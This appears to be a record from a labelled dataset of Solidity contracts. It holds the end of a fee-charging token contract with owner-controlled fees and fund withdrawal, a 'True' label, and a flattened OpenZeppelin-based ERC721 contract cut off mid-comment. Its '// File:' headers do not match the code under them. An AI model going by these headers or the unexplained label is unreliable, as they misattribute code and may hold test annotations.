function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
emit RemovedSniper(account);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 10, "Must keep buy taxes below 10%");
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%");
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
_isExcludedFromFee[marketingAddress] = false;
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setLiquidityAddress(address _liquidityAddress) public onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
require(!tradingActive, "Can only withdraw if trading hasn't started");
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-10-03
*/
// File: @openzeppelin/contracts/access/Ownable.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721.sol
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File: @openzeppelin/contracts/token/ERC721/ERC721.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// File: @openzeppelin/contracts/utils/Strings.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver(to).onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: Nico/ColorBots/index-prod.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/utils/introspection/ERC165.sol
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File: @openzeppelin/contracts/utils/Context.sol
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
